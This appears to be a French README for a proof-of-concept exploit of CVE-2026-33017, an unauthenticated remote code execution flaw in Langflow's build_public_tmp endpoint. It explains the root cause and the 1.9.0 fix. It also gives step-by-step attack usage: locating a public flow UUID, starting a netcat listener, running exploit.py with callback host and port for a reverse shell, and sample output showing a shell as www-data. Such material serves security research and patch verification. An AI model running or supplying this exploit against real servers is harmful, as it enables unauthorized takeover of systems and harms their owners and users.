
Exploit PoC pour CVE-2026-33017 : exécution de code à distance non authentifiée dans Langflow via l'injection d'un composant personnalisé Python malveillant, avec un écouteur de shell inversé intégré.
Auteur : dynamo2k1
Sévérité : Critique
CVSSv3 : 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 est une vulnérabilité critique d'exécution de code à distance non authentifiée dans Langflow, une plateforme open-source permettant de créer visuellement des applications LLM et des flux de travail IA.
Le point de terminaison vulnérable build_public_tmp accepte un champ data fourni par l'attaquant dans le corps de la requête, sans authentification. Cela permet à un attaquant d'injecter une définition de flux entièrement personnalisée contenant un composant personnalisé Python malveillant, dont le code est exécuté sur le serveur pendant le processus de construction.
Aucun identifiant requis. Seul un UUID de flux public valide est nécessaire.
| Statut | Version |
|---|---|
| Vulnérable | Langflow < 1.9.0 |
| Corrigé | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
Ce point de terminaison est conçu pour construire les flux publics (partagés) sans authentification. Dans les versions vulnérables, il accepte également un champ data contrôlé par l'attaquant dans le corps de la requête, qui est transmis directement à la logique de construction côté serveur — y compris tout code Python intégré dans les composants personnalisés.
pip install requests urllib3
Parcourez l'instance Langflow cible et recherchez un flux partagé/public. L'UUID apparaît dans l'URL :
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
Ou utilisez l'écouteur interactif intégré (aucun nc séparé n'est nécessaire) :
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Cause racine : build_public_tmp faisait confiance au champ data du corps de la requête au lieu d'utiliser uniquement la définition de flux stockée sur le serveur.
Correctif : Dans Langflow 1.9.0, le paramètre data a été supprimé de build_public_tmp. Les définitions de flux externes ne peuvent plus être injectées via ce point de terminaison.
Commit du correctif : 73b6612
Ce PoC est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Ne l'utilisez que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.
| Flag | Description |
|---|
--url | URL de base de Langflow cible |
--flow-id | UUID du flux public |
--lhost | Votre IP pour le rappel du shell inverse |
--lport | Votre port d'écoute |
--listen | Utiliser le gestionnaire de shell intégré au lieu du nc externe |
--timeout | Délai d'expiration de la requête HTTP en secondes (défaut : 30) |